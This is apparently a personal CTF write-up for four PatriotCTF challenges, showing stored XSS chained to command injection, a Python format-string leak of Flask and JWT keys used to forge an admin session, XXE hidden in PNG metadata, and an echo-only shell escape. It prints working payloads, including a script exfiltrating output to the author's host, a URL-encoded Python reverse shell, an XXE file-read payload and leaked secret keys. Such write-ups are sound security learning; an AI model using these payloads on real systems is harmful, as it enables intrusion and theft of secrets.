Last updated: 23 Sep 24 10:51:27 (UTC)

🦅 PatriotCTF

🦅 PatriotCTF 🦅

21/09 00:00 to 23/09 00:00

Certificate of Participation (nice)

f08fcb4cfcf0c44b1223aa65603ff7da.png

me & many guys from the CTFREI team played this CTF. i mostly flagged Web challenges with 2 other guys.

This CTF was one of the nicest one i felt i did by the sheer amount & content of challenges it was a very fun CTF !

Here are the writups for challenges i participated in.


Open Seasame - solved

Does the CLI listen to magic?

http://chal.competitivecyber.club:13336

Flag format: CACI{.*}

Author: CACI
Does the CLI listen to magic?

http://chal.competitivecyber.club:13336

Flag format: CACI{.*}

Author: CACI

we have a page on which we can send a path on “http://127.0.0.1:1337/”

c744055210054d7afd501bc229101471.png

we get the source code of the server in python, and of the bot that has the FLAG as a cookie in admin.js

by looking at the bot’s settings we see :

let cookies = [
        {
          name: "secret",
          value: SECRET,
          domain: "127.0.0.1",
          httpOnly: true,
        },
      ];
let cookies = [
        {
          name: "secret",
          value: SECRET,
          domain: "127.0.0.1",
          httpOnly: true,
        },
      ];

thus we know the cookie cannot be extracted through XSS and that it needs to be retrieved locally.

Also we see how the bot will be processing the path we gives it :

app.post("/visit", async (req, res) => {
  const path = req.body.path;
  console.log("received path: ", path);

  let url = CHAL_URL + path;

  if (url.includes("cal") || url.includes("%")) {
    res.send('Error: "cal" is not allowed in the URL');
    return;
  }

  try {
    console.log("visiting url: ", url);
    await visitUrl(url);
app.post("/visit", async (req, res) => {
  const path = req.body.path;
  console.log("received path: ", path);

  let url = CHAL_URL + path;

  if (url.includes("cal") || url.includes("%")) {
    res.send('Error: "cal" is not allowed in the URL');
    return;
  }

  try {
    console.log("visiting url: ", url);
    await visitUrl(url);

we cannot mention “cal” nor encode it using “%”.

now lets look at the python code, its a server running via flask.

the code has 3 functions

  • One where we can send a username & a score through a POST request and it’ll return an id (this is a very important function even if it dont look like it for now)
@app.route('/api/stats', methods=['POST'])
def add_stats():
    try:
        username = request.json['username']
        high_score = int(request.json['high_score'])
    except:
        return '{"error": "Invalid request"}'
    
    id = str(uuid.uuid4())

    stats.append({
        'id': id,
        'data': [username, high_score]
    })
    return '{"success": "Added", "id": "'+id+'"}'
@app.route('/api/stats', methods=['POST'])
def add_stats():
    try:
        username = request.json['username']
        high_score = int(request.json['high_score'])
    except:
        return '{"error": "Invalid request"}'
    
    id = str(uuid.uuid4())

    stats.append({
        'id': id,
        'data': [username, high_score]
    })
    return '{"success": "Added", "id": "'+id+'"}'
  • One where we can view the score and username of a past “game” through its id
@app.route('/api/stats/<string:id>', methods=['GET'])
def get_stats(id):
    for stat in stats:
        if stat['id'] == id:
            return str(stat['data'])

    return '{"error": "Not found"}'
@app.route('/api/stats/<string:id>', methods=['GET'])
def get_stats(id):
    for stat in stats:
        if stat['id'] == id:
            return str(stat['data'])

    return '{"error": "Not found"}'
  • And finally the “cal” function that basically takes the cookie (the one the Bot is running) and takes a “modifier” GET parameter as a user input to then execute as a shell command with the “cal” command
@app.route('/api/cal', methods=['GET'])
def get_cal():
    cookie = request.cookies.get('secret')

    if cookie == None:
        return '{"error": "Unauthorized"}'

    if cookie != SECRET:
        return '{"error": "Unauthorized"}'

    modifier = request.args.get('modifier','')

    return '{"cal": "'+subprocess.getoutput("cal "+modifier)+'"}'
@app.route('/api/cal', methods=['GET'])
def get_cal():
    cookie = request.cookies.get('secret')

    if cookie == None:
        return '{"error": "Unauthorized"}'

    if cookie != SECRET:
        return '{"error": "Unauthorized"}'

    modifier = request.args.get('modifier','')

    return '{"cal": "'+subprocess.getoutput("cal "+modifier)+'"}'

without even having anything else we can already see the clear command injection in this last function since the modifier parameter is not sanitized at all.

we need to find a way to retrieve the cookie of the bot or to make it execute the “cal” function for us.

We tried many CRLF payloads and tried many things to redirect the bot to another domain but none worked.

so we went back to the “stats” function in the python code and discovered that when the stats of a game was reviewed (if the game existed) the username & score was displayed in clear on the page without any sanitization.

which mean we can inject javascript code through <script></script> HTML tags.

BUT remember that the cookie is http-only which means we cannot simply grab it through a document.cookie so we have to think further.

we tried to fetch our own machines and it worked through an easy payload :

curl -H 'Content-Type: application/json' -d '{"username":"<script> fetch(\"http://lawcky.net:51951\", { method: \"GET\" }) </script>","high_score":1}' -X POST http://chal.competitivecyber.club:13337/api/stats -v
curl -H 'Content-Type: application/json' -d '{"username":"<script> fetch(\"http://lawcky.net:51951\", { method: \"GET\" }) </script>","high_score":1}' -X POST http://chal.competitivecyber.club:13337/api/stats -v

once we knew we could retrieve data we still needed to get that cookie. for that we did many tests and so to win some time and convienience i wrote a Powershell scripts to automate the sending process

we had to send the payload in a html script tag to /api/stats, and then we needed to send the id we got to the /api/stats/“id” address which would then make the bot run the script.

here is the powershell script :

$firstUrl = "http://chal.competitivecyber.club:13337/api/stats" 
$secondUrl = "http://chal.competitivecyber.club:13336/visit" 
#instead of going through the /api/stats/id which would have then redirected to this page i directly sent it here. 


$username = "OUR PAYLOAD GOES HERE"


$highScore = 9999  
$jsonData = @{
    username = $username
    high_score = $highScore
} | ConvertTo-Json

$response = Invoke-RestMethod -Uri $firstUrl -Method POST -ContentType "application/json" -Body $jsonData

$id = $response.id

if ($id) {
    Write-Host "ID retrieved from response: $id"

    $BOTurl = "path=/api/stats/$id"
    
    
    $responseData = Invoke-RestMethod -Uri $secondUrl -Method POST -Body $BOTurl

    Write-Host "Response from the second POST request: $responseData"
} else {
    Write-Host "Failed to retrieve ID from the first response."
}
$firstUrl = "http://chal.competitivecyber.club:13337/api/stats" 
$secondUrl = "http://chal.competitivecyber.club:13336/visit" 
#instead of going through the /api/stats/id which would have then redirected to this page i directly sent it here. 


$username = "OUR PAYLOAD GOES HERE"


$highScore = 9999  
$jsonData = @{
    username = $username
    high_score = $highScore
} | ConvertTo-Json

$response = Invoke-RestMethod -Uri $firstUrl -Method POST -ContentType "application/json" -Body $jsonData

$id = $response.id

if ($id) {
    Write-Host "ID retrieved from response: $id"

    $BOTurl = "path=/api/stats/$id"
    
    
    $responseData = Invoke-RestMethod -Uri $secondUrl -Method POST -Body $BOTurl

    Write-Host "Response from the second POST request: $responseData"
} else {
    Write-Host "Failed to retrieve ID from the first response."
}

to make it short we did succeed in sending the bot to the /api/cal function but couldnt retrieve the output through bash command injection (in the cal function),

so i had another idea and make a new JS custom payload, instead of using the Javascript to send the bash payload and then having the bash payload send us the output back i decided to use only the Javascript. here is what it looks like :

<script>fetch('http://127.0.0.1:1337/api/cal?modifier=%7C%20cat%20secret.txt').then(res => res.json()).then(data => fetch('http://lawcky.net:51951?cal=' + data.cal));</script> 
<script>fetch('http://127.0.0.1:1337/api/cal?modifier=%7C%20cat%20secret.txt').then(res => res.json()).then(data => fetch('http://lawcky.net:51951?cal=' + data.cal));</script> 

the first fetch sends the bash command injection to the cal function running on the server :

cal | cat secret.txt # returns the value of the cookie
cal | cat secret.txt # returns the value of the cookie

and the second fetch will send its value to my VPS server.

the cookie we got : FDJtFLydO3dojOCrKj1mJiN0NYJW2OLx4rRUZCp5gMxi6wTszhb7NkC7idQ1E1J9WCbU0zOujetQbkIuhSNUf9uwsdOi5vlnz0ngid0ifXfoe78PA3D7KM1LpKnr6iLp

now that we have the cookie we can just go directly on the /api/cal endpoint and run whatever we want.

it could have been a simple ls into cat but i wanted to make the reverse shell work so here it is :

curl -H "Cookie: secret=FDJtFLydO3dojOCrKj1mJiN0NYJW2OLx4rRUZCp5gMxi6wTszhb7NkC7idQ1E1J9WCbU0zOujetQbkIuhSNUf9uwsdOi5vlnz0ngid0ifXfoe78PA3D7KM1LpKnr6iLp" http://chal.competitivecyber.club:13337/api/cal?modifier="%7Cpython3%20-c%20%27import%20socket%2Cos%2Cpty%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%22lawcky.net%22%2C51951%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3Bos.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3Bpty.spawn%28%22%2Fbin%2Fsh%22%29%27"
curl -H "Cookie: secret=FDJtFLydO3dojOCrKj1mJiN0NYJW2OLx4rRUZCp5gMxi6wTszhb7NkC7idQ1E1J9WCbU0zOujetQbkIuhSNUf9uwsdOi5vlnz0ngid0ifXfoe78PA3D7KM1LpKnr6iLp" http://chal.competitivecyber.club:13337/api/cal?modifier="%7Cpython3%20-c%20%27import%20socket%2Cos%2Cpty%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%22lawcky.net%22%2C51951%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3Bos.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3Bpty.spawn%28%22%2Fbin%2Fsh%22%29%27"

and finally the flag : CACI{1_l0v3_c0mm4nd_1nj3ct10n}


Secret Door - solved

knock knock...

http://chal.competitivecyber.club:1337

Author: sans909
knock knock...

http://chal.competitivecyber.club:1337

Author: sans909

the source code for this one is heavy so i’ll stick to what we need.

we have an app on which we can register and login, inside it we can change our email address and view the account logs (email changed).

the app is running Flask, the FLASK_SECRET_KEY is set and used as the session key, and there is a JWT token in play with a JWT key as well. we know none of these keys.

Our objective is to get to the /admin page.

To do so we first need a valid JWT token of an admin, and have it signed with the Flask session key.

this challenge is basically Fort Boyard where are the keys ?

After looking at the source code we found a vulnerability in the update_email() function :

@api.route('/update-email', methods=["POST"])
@is_authenticated
def update_email():
    if not request.is_json:
        return abort(400, 'Invalid POST format!')
    data = request.get_json()
    new_email = data.get('email', '')
    if not is_valid_email(new_email):
        return abort(401, 'Invalid Email')
    # Get old email address
    token = session.get('auth')
    decoded_token = verify_JWT(token)
    old_email = decoded_token["email"]
    # Logging Data
    time = datetime.now()
    update_date = time.strftime("%Y-%m-%d %H:%M:%S")
    log_text = f"Email updated to {new_email} at {update_date}"
    log_text = log_text.format(new_email=new_email, timestamp=timestamp, update_date=update_date)
    # Update users
    call_procedure("update_user_email", (old_email, new_email))
    # Insert Logs
    log_text = escape_html(log_text)
    call_procedure("insert_log", (new_email, log_text))
    # Log out of the page
    session['auth'] = None
    return redirect(url_for('web.logout'))
@api.route('/update-email', methods=["POST"])
@is_authenticated
def update_email():
    if not request.is_json:
        return abort(400, 'Invalid POST format!')
    data = request.get_json()
    new_email = data.get('email', '')
    if not is_valid_email(new_email):
        return abort(401, 'Invalid Email')
    # Get old email address
    token = session.get('auth')
    decoded_token = verify_JWT(token)
    old_email = decoded_token["email"]
    # Logging Data
    time = datetime.now()
    update_date = time.strftime("%Y-%m-%d %H:%M:%S")
    log_text = f"Email updated to {new_email} at {update_date}"
    log_text = log_text.format(new_email=new_email, timestamp=timestamp, update_date=update_date)
    # Update users
    call_procedure("update_user_email", (old_email, new_email))
    # Insert Logs
    log_text = escape_html(log_text)
    call_procedure("insert_log", (new_email, log_text))
    # Log out of the page
    session['auth'] = None
    return redirect(url_for('web.logout'))

When an email is changed nothing is interpreted so basically when we change the email, the login email will be exactly the same as the one we entered.

BUT for the logs it is formatted twice when beeing sent to the log file, which means we can potentially retrieve sensitive info like __globals__ variable.

Basically the email address format is text@text.text, we found we could place “{}” in the first part of the email address before the @.

here is what is looks like when beeing ran on the app:

test{{7*7}}@test.com -->  test{7*7}@test.com
test{{7*7}}@test.com -->  test{7*7}@test.com

OK not much happened here and we cannot execute python code but it still means our input are indeed going through python’s format and beeing treated.

Then after a lot of tests we found different methods that indeed worked, we understood that to be able to retrieve any values we needed to first use a variable that was in the code like those :

log_text = log_text.format(new_email=new_email, timestamp=timestamp, update_date=update_date)
log_text = log_text.format(new_email=new_email, timestamp=timestamp, update_date=update_date)

We discovered that we could execute some methods after having for exemple any payloads like :

test+{timestamp.__name__}@test.com
test+{timestamp.__name__}@test.com

I dont remember which ones worked exactly but the one that gave us all we needed was this one :

test+{timestamp.__globals__}@test.com
test+{timestamp.__globals__}@test.com

This one basically offered us all the Variables we could ever need (exept the FLAG ofc).

With this one my friend retrieve both the JWT key value and the FLASK_SECRET_KEY value.

Then comes the testing environnement, i had some problem with the signature of the cookies which basically ended up with me reproducing most of the backend of the challenge, all that because for some reason the keys my friend got and the one i found later on when reproducing the technique were totally different, anyway here is the code :

from flask import Blueprint, request, abort, session, redirect, url_for, jsonify, Flask
import jwt
import datetime
from itsdangerous import URLSafeTimedSerializer
from functools import wraps

FLASK_SECRET_KEY = "d3e92d28c3d8576f6fdaa04ff179e1476876d337f9b46d21a9b09e9c57e2bfb73c24e9216309f5399589bedffa97ddcc4f6f0c40f664f27264dd52e3501c604ef79a3db7efce94ab1c2497cae17be95104be18329ed1b007933b6dce28847e990579584fc6a2b77391b2b77aa6e0da10166905ad06269d65be76e2e1457adeeea9e390526375ea1ffa821c95042da58be6ef732e916f3ef73a34a1efa90e16c701310cfdaf753a35811a41f64651866f1e13aa3cb7183154e93b63cbdcaaadb7f281cb9fa20062a2d5612452a25063212c94d4af5a09cee1faee25339c487ff17ae294e402da76d1fff62f3be5c0eb1e00e71b6c603ca463c15b11f718d7932f"

jwt_key = "962f71030aaece68d736e3f3e6089a4fcd633c83da8a6b97b5ec3f8efafa1c5d2a12dd75a95568787cfe5ff945c2e38515ac9962255cfb6397daba2495b488cfbb9763bf3bb3a641545dc9e0af22e953d89458da32313c44f2f1735e3e82569bd30e96604b81e48eef2209ddc7fb21bb2b686e754bb1dc14fed177e5cedd36b809e9ff70f271526b1b4076c91614605173f819da39ec3c17db7451e1f9d3a03e94bbe101980b967717185bd83ad970a13c5b06a905567eb1c80a692e4def0dbbe1bdd96d79c2ebe5fedddd090de4547977de6088826cf7cab6d9395e87a33c35c3e4c6794e8b20217bbdec89ee2f2d498361b6190da7793bee5350ca8e0c5ce3"

def create_JWT(email: str, role="admin"):
    utc_time = datetime.datetime.now(datetime.UTC)
    token_expiration = utc_time + datetime.timedelta(minutes=1000)
    data = {
        'email': email,
        "exp": token_expiration,
        'role': role
    }
    encoded = jwt.encode(data, jwt_key, algorithm='HS256')
    return encoded

def verify_JWT(token):
    try:
        token_decode = jwt.decode(
            token,
            jwt_key,
            algorithms='HS256'
        )
        return token_decode
    except:
        return abort(401, 'Invalid authentication token!')

def is_authenticated(f):
    @wraps(f)
    def decorator(*args, **kwargs):
        token = session.get('auth')
        print(token)
        if not token:
            return abort(401, 'Unauthorized access detected!!')

        verify_JWT(token)

        return f(*args, **kwargs)

    return decorator

def is_admin(f):
    @wraps(f)
    def decorator(*args, **kwargs):
        token = session.get('auth')
        if not token:
            return abort(401, 'Unauthorized access detected!!')

        decoded_token = verify_JWT(token)
        if decoded_token["role"] != "admin":
            return abort(401, 'Unauthorized access detected!!')
        
        return f(*args, **kwargs)

#------------------------------------------------------
app = Flask(__name__)
app.secret_key = FLASK_SECRET_KEY 


@app.route('/')
def index():
    jwt_token = create_JWT("test1@test1.com", "admin")
    session['auth'] = jwt_token
    return f"Token stored in session: {session['auth']}"

@app.route('/test')
@is_authenticated
def gg():
    return f"hello world"


@app.route('/get_token')
def get_token():
    # Retrieve the JWT from the session
    stored_token = session.get('auth')
    if stored_token:
        return f"Retrieved token from session: {stored_token}"
    else:
        return "No token found in session."

if __name__ == '__main__':
    app.run(debug=True)
from flask import Blueprint, request, abort, session, redirect, url_for, jsonify, Flask
import jwt
import datetime
from itsdangerous import URLSafeTimedSerializer
from functools import wraps

FLASK_SECRET_KEY = "d3e92d28c3d8576f6fdaa04ff179e1476876d337f9b46d21a9b09e9c57e2bfb73c24e9216309f5399589bedffa97ddcc4f6f0c40f664f27264dd52e3501c604ef79a3db7efce94ab1c2497cae17be95104be18329ed1b007933b6dce28847e990579584fc6a2b77391b2b77aa6e0da10166905ad06269d65be76e2e1457adeeea9e390526375ea1ffa821c95042da58be6ef732e916f3ef73a34a1efa90e16c701310cfdaf753a35811a41f64651866f1e13aa3cb7183154e93b63cbdcaaadb7f281cb9fa20062a2d5612452a25063212c94d4af5a09cee1faee25339c487ff17ae294e402da76d1fff62f3be5c0eb1e00e71b6c603ca463c15b11f718d7932f"

jwt_key = "962f71030aaece68d736e3f3e6089a4fcd633c83da8a6b97b5ec3f8efafa1c5d2a12dd75a95568787cfe5ff945c2e38515ac9962255cfb6397daba2495b488cfbb9763bf3bb3a641545dc9e0af22e953d89458da32313c44f2f1735e3e82569bd30e96604b81e48eef2209ddc7fb21bb2b686e754bb1dc14fed177e5cedd36b809e9ff70f271526b1b4076c91614605173f819da39ec3c17db7451e1f9d3a03e94bbe101980b967717185bd83ad970a13c5b06a905567eb1c80a692e4def0dbbe1bdd96d79c2ebe5fedddd090de4547977de6088826cf7cab6d9395e87a33c35c3e4c6794e8b20217bbdec89ee2f2d498361b6190da7793bee5350ca8e0c5ce3"

def create_JWT(email: str, role="admin"):
    utc_time = datetime.datetime.now(datetime.UTC)
    token_expiration = utc_time + datetime.timedelta(minutes=1000)
    data = {
        'email': email,
        "exp": token_expiration,
        'role': role
    }
    encoded = jwt.encode(data, jwt_key, algorithm='HS256')
    return encoded

def verify_JWT(token):
    try:
        token_decode = jwt.decode(
            token,
            jwt_key,
            algorithms='HS256'
        )
        return token_decode
    except:
        return abort(401, 'Invalid authentication token!')

def is_authenticated(f):
    @wraps(f)
    def decorator(*args, **kwargs):
        token = session.get('auth')
        print(token)
        if not token:
            return abort(401, 'Unauthorized access detected!!')

        verify_JWT(token)

        return f(*args, **kwargs)

    return decorator

def is_admin(f):
    @wraps(f)
    def decorator(*args, **kwargs):
        token = session.get('auth')
        if not token:
            return abort(401, 'Unauthorized access detected!!')

        decoded_token = verify_JWT(token)
        if decoded_token["role"] != "admin":
            return abort(401, 'Unauthorized access detected!!')
        
        return f(*args, **kwargs)

#------------------------------------------------------
app = Flask(__name__)
app.secret_key = FLASK_SECRET_KEY 


@app.route('/')
def index():
    jwt_token = create_JWT("test1@test1.com", "admin")
    session['auth'] = jwt_token
    return f"Token stored in session: {session['auth']}"

@app.route('/test')
@is_authenticated
def gg():
    return f"hello world"


@app.route('/get_token')
def get_token():
    # Retrieve the JWT from the session
    stored_token = session.get('auth')
    if stored_token:
        return f"Retrieved token from session: {stored_token}"
    else:
        return "No token found in session."

if __name__ == '__main__':
    app.run(debug=True)

After i added the right keys i was able to get the right Flask signature and the right JWT cookie to be considered an Admin and got the /admin page.

and finally the flag : pctf{str_f1rm4t_1s_k1nd8_c00l_7712817812}


DOMDOM - solved

I love face-book and I love to share my photos with my friends.

http://chal.competitivecyber.club:9090

Author: Kiran Ghimire (sau_12)
I love face-book and I love to share my photos with my friends.

http://chal.competitivecyber.club:9090

Author: Kiran Ghimire (sau_12)

We get the source code of an app on which we can see images and upload files, the files need to be either png or jpg.

here is the source code of the check() function

@app.route('/check', methods=['POST', 'GET'])
def check():
    r = requests.Session()
    allow_ip = request.headers['Host']
    if request.method == 'POST':
        url = request.form['url']
        url_parsed = urllib.parse.urlparse(url).netloc 
        if allow_ip == url_parsed:
            get_content = r.get(url = url)
        else:
            return "Cannot request for that url"
        try:
            parsed_json = json.loads(get_content.content.decode())["Comment"]
            parser = etree.XMLParser(no_network=False, resolve_entities=True)
            get_doc = etree.fromstring(str(parsed_json), parser)
            print(get_doc, "ho")
            result = etree.tostring(get_doc)
        except:
            return "Something wrong!!"
        if result: return result
        else: return "Empty head"
    else:
        return render_template('check.html') 
@app.route('/check', methods=['POST', 'GET'])
def check():
    r = requests.Session()
    allow_ip = request.headers['Host']
    if request.method == 'POST':
        url = request.form['url']
        url_parsed = urllib.parse.urlparse(url).netloc 
        if allow_ip == url_parsed:
            get_content = r.get(url = url)
        else:
            return "Cannot request for that url"
        try:
            parsed_json = json.loads(get_content.content.decode())["Comment"]
            parser = etree.XMLParser(no_network=False, resolve_entities=True)
            get_doc = etree.fromstring(str(parsed_json), parser)
            print(get_doc, "ho")
            result = etree.tostring(get_doc)
        except:
            return "Something wrong!!"
        if result: return result
        else: return "Empty head"
    else:
        return render_template('check.html') 

If the given url is a file on the server and that it match a file it’ll be displayed with the comment of the meta data displayed on the page.

the vulnerability is here

parsed_json = json.loads(get_content.content.decode())["Comment"]
parser = etree.XMLParser(no_network=False, resolve_entities=True)
get_doc = etree.fromstring(str(parsed_json), parser)
parsed_json = json.loads(get_content.content.decode())["Comment"]
parser = etree.XMLParser(no_network=False, resolve_entities=True)
get_doc = etree.fromstring(str(parsed_json), parser)

Where the input are not properly sanitized which allows us to execute an XXE (XML external entity).

To do so all we have to do is inject code inside an image’s metadata, upload said image to the site, and then open it using the check function which will then execute the XML code.

the python code :

from PIL import Image, PngImagePlugin

# Create a simple image (100x100 white image)
img = Image.new('RGB', (100, 100), color='white')

# Create an XXE payload
xxe_payload = """<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///app/flag.txt">]>
<foo>&xxe;</foo>
"""

# Add the XXE payload to image.info['Comment']
meta = PngImagePlugin.PngInfo()
meta.add_text("Comment", xxe_payload)

# Save the image with the comment payload
img.save("img.png", "PNG", pnginfo=meta)

# Print the metadata to verify
with Image.open("img.png") as im:
    print(im.info.get("Comment"))
from PIL import Image, PngImagePlugin

# Create a simple image (100x100 white image)
img = Image.new('RGB', (100, 100), color='white')

# Create an XXE payload
xxe_payload = """<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///app/flag.txt">]>
<foo>&xxe;</foo>
"""

# Add the XXE payload to image.info['Comment']
meta = PngImagePlugin.PngInfo()
meta.add_text("Comment", xxe_payload)

# Save the image with the comment payload
img.save("img.png", "PNG", pnginfo=meta)

# Print the metadata to verify
with Image.open("img.png") as im:
    print(im.info.get("Comment"))

now that we have our image we open it with Curl

curl -X POST http://chal.competitivecyber.club:9090/check -d "url=http://chal.competitivecyber.club:9090/meta?image=img.png58780"
#img.png58780 is the name the app gave to our image
curl -X POST http://chal.competitivecyber.club:9090/check -d "url=http://chal.competitivecyber.club:9090/meta?image=img.png58780"
#img.png58780 is the name the app gave to our image

the flag : PCTF{Y0u_D00m3D_U5_Man_So_SAD}


Really Only Echo - solved

Hey, I have made a terminal that only uses echo, can you find the flag?

Author: Ryan Wong (shadowbringer007)

nc chal.competitivecyber.club 3333
Hey, I have made a terminal that only uses echo, can you find the flag?

Author: Ryan Wong (shadowbringer007)

nc chal.competitivecyber.club 3333

This one was pretty easy, we get a shell on which we need to find the flag and all we can do is echo commands.

echo */ #list directories 

echo $(/bin/cat *) # read all the files in the current directory
echo */ #list directories 

echo $(/bin/cat *) # read all the files in the current directory

the flag : pctf{echo_is_such_a_versatile_command}


Thanks for reading !